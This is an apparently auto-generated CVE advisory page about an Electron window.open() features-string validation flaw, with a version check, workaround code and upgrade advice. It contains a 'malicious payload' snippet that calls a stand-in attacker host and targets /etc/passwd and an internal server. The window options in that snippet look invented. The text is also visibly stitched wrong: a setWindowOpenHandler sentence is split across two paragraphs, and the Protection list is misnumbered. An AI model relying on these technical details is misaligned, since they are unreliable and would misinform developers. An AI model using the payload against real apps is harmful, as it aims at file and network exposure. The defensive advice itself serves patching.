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How CVE-2026-70607 Works
Electron is a framework for building cross-platform desktop applications using JavaScript, HTML, and CSS. Prior to patched versions (39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3), a vulnerability existed in how the `window.open()` function processed its `features` string parameter.
When web content calls window.open(), it can supply a `features` string containing various window options (e.g., size, position, and more privileged settings like `webPreferences` or file paths). In vulnerable Electron versions, these options were applied directly to the newly created `BrowserWindow` without any allowlist or validation. This meant that untrusted web content could set window options that it should not have been able to control.
The core of the issue is the absence of an allowlist mechanism during `BrowserWindow` creation. Specifically, when web content calls `window.open()` with a `features` string containing parameters such as `file://` or http://` paths, these options are directly applied to the new `BrowserWindow` instance without verification. This oversight allows malicious actors to inject attacker-controlled file or network paths into the window configuration.setWindowOpenHandler`. Apps that explicitly deny `window.open()` for untrusted content, or that set `overrideBrowserWindowOptions` explicitly, are not affected.
The operational impact is significant as it creates a privilege escalation vector. Attackers can leverage this flaw to cause the main process to access arbitrary files or network locations that would normally be restricted, effectively bypassing security boundaries between the renderer process and the main process.
Apps are only affected if untrusted content can call `window.open()` and the app does not override child window options via
DailyCVE Form:
Platform: Electron
Version: <39.8.8, 40.0.0-alpha.1<40.9.0, 41.0.0-alpha.1<41.2.1, 42.0.0-alpha.1<42.0.0-beta.3
Vulnerability: Improper Input Validation (CWE-20)
Severity: Moderate (CVSS 5.3)
date: 2026-08-05
Prediction: Patch available (39.8.8/40.9.0/41.2.1/42.0.0-beta.3)
What Undercode Say:
Analytics of the vulnerability show that the flaw resides in Electron’s `BrowserWindow` creation process when handling the `window.open()` features string. The lack of an allowlist means any option passed via the features string is honored, including privileged ones.
Vulnerable version check:
Check current Electron version npm list electron or yarn list electron
Code snippet showing vulnerable behavior:
// In a vulnerable Electron app, untrusted content can do:
window.open('https://attacker.com', '_blank', 'webPreferences=somePrivilegedSetting,file=///etc/passwd');
// The above would apply the 'file' option to the new BrowserWindow without validation
Workaround implementation:
// In your main process, deny window.open() for untrusted content:
mainWindow.webContents.setWindowOpenHandler((details) => {
// Check if the request comes from untrusted content
if (isUntrusted(details.url)) {
return { action: 'deny' };
}
// For trusted content, proceed with explicit options
return { action: 'allow', overrideBrowserWindowOptions: { / set explicitly / } };
});
Exploit:
An attacker can exploit this vulnerability by injecting a `window.open()` call with a crafted `features` string that includes privileged window options. For example:
// Malicious payload
window.open('https://attacker.com/payload', '_blank',
'webPreferences=somePrivilegedSetting,' +
'file=///etc/passwd,' +
'network=//internal-server/data'
);
When executed in a vulnerable Electron app, the `BrowserWindow` created would apply these options without validation, potentially causing the main process to access the attacker-chosen file or network paths.
The attack can be launched remotely and does not require authentication, though it does demand some user interaction. Currently, there is no known public exploit available.
Protection:
To protect against CVE-2026-70607, take the following actions:
- Upgrade Electron to one of the patched versions:
– 39.8.8
– 40.9.0
– 41.2.1
– 42.0.0-beta.3
2. Implement `setWindowOpenHandler` to deny `window.open()` for untrusted content:
mainWindow.webContents.setWindowOpenHandler((details) => {
if (isUntrustedContent(details)) {
return { action: 'deny' };
}
return { action: 'allow' };
});
3. Use `overrideBrowserWindowOptions` to explicitly set every window option, rather than relying on the `features` string from untrusted content.
4. Implement Content Security Policy (CSP) headers and sandboxing measures to further mitigate potential exploitation risks.
Impact:
- Confidentiality: Untrusted content can cause the main process to access attacker-chosen files, leading to unauthorized data exposure.
- Integrity: Attackers may manipulate window options to alter application behavior or load malicious resources.
- Availability: Successful exploitation could lead to crashes or denial of service.
- Privilege Escalation: The vulnerability creates a vector through which untrusted renderer content can gain elevated access to system resources normally restricted to the main process.
- Affected Applications: Any Electron app that allows untrusted content to call `window.open()` and does not override child window options via `setWindowOpenHandler` or `overrideBrowserWindowOptions` is vulnerable.
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Sources:
Reported By: github.com
Extra Source Hub:
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